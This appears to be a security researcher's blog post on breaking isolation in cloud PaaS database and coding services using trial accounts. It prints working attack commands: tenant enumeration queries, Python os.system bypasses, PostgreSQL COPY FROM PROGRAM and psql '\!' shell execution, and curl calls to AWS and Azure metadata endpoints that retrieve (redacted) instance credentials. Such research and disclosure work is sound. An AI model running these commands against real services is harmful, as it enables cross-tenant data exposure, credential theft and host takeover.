Pwning PaaS Cloud Managed Services - From Breaking Isolation to Identifying Abuse

Introduction

Highly inspired by the work done by the guys at Wiz ( https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities ),  I decided to do some research on the applications that provide PaaS managed services. The areas which I focused on are

  • Coding Platforms
  • Managed Service Platforms

Every service provider did their best to ensure the isolation of user data. Some tried via roles and permission, while others tried VM level isolation. While there can be reasons of costs and other valid opinions for choosing options, it should not be forgotten that trial user accounts can be operated by malicious users and they will try to misuse the services for fun or profit. Here we will discuss such few cases

Some of these risks are by design and vendors are aware of them. To ensure they are not abused, I will try not to name them. In this blog, I will discuss various classes of exploitations that I was able to perform. 

It is very important to note each of the accounts on which I tested are trial accounts - just signup without any sort of payment. For some, there was no signup required.

Information Disclosure


I signed up for a trial account for a shared database service. The shared database service allowed multiple users to use the same PostgreSQL cluster.

To get the logged-in username for the current user, we can issue the command

SELECT user;

fywomXYZ

That is my username and also the current database name in this account. If we are using shared DB services, we can find the other users using the command  using the pg_stat_activity function

SELECT * FROM pg_stat_activity LIMIT 5;


The above result returns the list of all the usernames that are currently either using the same PG cluster or currently logged into the same cluster. An attacker from here can further carry out password brute-force attacks.

Lack of Isolation


Certain shared services stores the user's information in the /tmp directory. On a few hardened systems, the tmp directory is not allowed to be listed. Looking through file systems via command injection we can identify the sessions directory. The sessions directory stores the user data and we can get the activities history of the users who are currently using the same services.


In a particular case, I found someone was trying to escalate to the root ( someone was trying to download Linpeas  )


Bypassing Restricted Commands 


Certain environments were slightly hardened. They ensure only privileged users could run shell commands. To bypass these protections, I decided to use the python API that could help to achieve the same results. For example,

import os;
print(os.system('curl http://127.0.0.1:5000'))

We can bypass the above error using the python requests module and perform the curl operations.



Remote Command Execution

Another application provided a trial account to the new user. No payment is required during the registration process. The application mentions the user created for us is a super admin user. Browsing through the application we encounter a tab for SSH and clicking the tab welcomes us with the information that we are not authorized to have SSH access.


We are provided with a set of credentials which we use to get the Postgres shell by connecting to the account with psql from our host machine.

psql "postres://CONNECTION STRING"

postgres=# select version();

PostgreSQL 14.4 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44), 64-bit

(1 row)

As it was mentioned as a product feature that we have super admin access, I decided to give it a try with some functions which are only enabled for pgadmins and one of them is the pg_ls_dir function which can list directory contents.

postgres=# select pg_ls_dir('/');

    pg_ls_dir    

-----------------

 boot

 dev

 proc

..... 

The next thing I tried is to get a command execution on the remote host.

One of the most powerful administrative function of postgresql is COPY TO PROGRAM query that allow us to execute system functions are read the output. Let us try to issue the id command and get the related output here.



Reverse Shell

Amazing, the next step is about getting a reverse shell. Can we do it ?


I initially had some issues with the reverse shell not working on my local machine, hence I decided to get the reverse shell on a machine that is already in the cloud


Normally at this point one would go around and find ways to escalate to root. I tried little bit but gave up as I am really not great with privilege escalation ( I am working hard to improve on this area )

Exploiting PGAdmin4 Console


PGAdmin4 is a postgresql management tool. PGAdmin4 console provides us with PSQL terminals and inside the PGAdmin console we can write PSQL queries.

As PGADMIN4 can be run as web application and the vendor provides a service to monitor the postgresql databases from a web based pgadmin4 console. We can run any shell command from the PSQL Terminal on host with the following syntax

\! command  

This command will be executed on the host machines. For example

admin=# \! whoami
vendor
admin=# \! id
uid=2000(vendor) gid=2000(vendor)

From here we can also try for  RCE or Reverse Shell.

SSRF & AWS Metadata Access

The next thing I tried is looking for instance metadata access. I was able to do the query the metadata endpoints using RCE. 

You might see there is no iam section. The reason being there are no attached roles to this instance. Still we can get some temporary access keys. While I was not able to find any more information from these access keys and tokens as Identity Credentials don't have any API permission. 

copy poc from program 'curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance';
select * from poc;

{
   "Code" : "Success",
   "LastUpdated" : "2022-08-15T10:39:09Z",
   "Type" : "AWS-HMAC",
   "AccessKeyId" : "ASIA5XXXXXXXXTJLPXX5",
   "SecretAccessKey" : "r3AySnEXXXXX8TPzH3NyXXXXX0rZPDp8XXXXX",
   "Token" : "IQoJb3JpZ2luX2VjEFM.............................XXXXXX",
   "Expiration" : "2022-08-15T16:59:52Z"
 }

Now we can use these tokens using the cli and check if the credentials and tokens work 

aws sts get-caller-identity --profile review
{
    "UserId": "9XXXX51XXXXX:aws:ec2-instance:i-095373XX129fXXafb",
    "Account": "9XXXX51XXXXX",
    "Arn": "arn:aws:sts::9XXXX51XXXXX:assumed-role/aws:ec2-instance/i-095373XX129fXXafb"
}


Azure Metadata Access


There can be different cloud provider, and hence if the standard AWS metadata IP endpoints doesn't work, then we can try the other providers endpoints. Some of them being listed here. https://github.com/Prinzhorn/cloud-metadata-services


postgres=# create table poc(data text);
CREATE TABLE

copy poc from program 'curl -H "Metadata:true" http://169.254.169.254/metadata/instance?api-version=2021-12-13';

select * from poc;

<TRUNCATED DATA>                                                             +
 ","path":"/home/azureuser/.ssh/authorized_keys"}],"publisher":"OpenLogic","resourceGroupName":"XXXX","resourceId":"/subscriptions/8ed21ef0-1d5b-4cea-b7ff-707fc51b65c4/resourceGroups/XXXXXX/providers/Microsoft.Compute/virtualMachines/SG-XXXXXX","securityProfile":{"encryptionAtHost":"false","secureBootEnabled":"false","securityType":"","virtualTpmEnabled":"false"},"sku":"7-CI","storageProfile":{"dataDisks":[{"bytesPerSecondThrottle":"","caching":"None","createOption":"Attach","diskCapacityBytes":"","diskSizeGB":"10","image":{"uri":""},"isSharedDisk
"
<TRUNCATED DATA> 

Conclusions : Vendor Opinions


Vendors consider most of these as accepted risks as they want to give the customers a hassle free experiences. Some vendors are aware of these risks and tried to isolate customer data using VM to ensure isolation. While on the part how attackers can abuse their services is something they don't accept as risk as they claim they can monitor abuse.

Some vendors blocks the admin level commands for trial accounts ( which is actually good ).


Reference

  • https://www.pgadmin.org/faq/#1
  • https://pgpedia.info/
  • https://github.com/Prinzhorn/cloud-metadata-services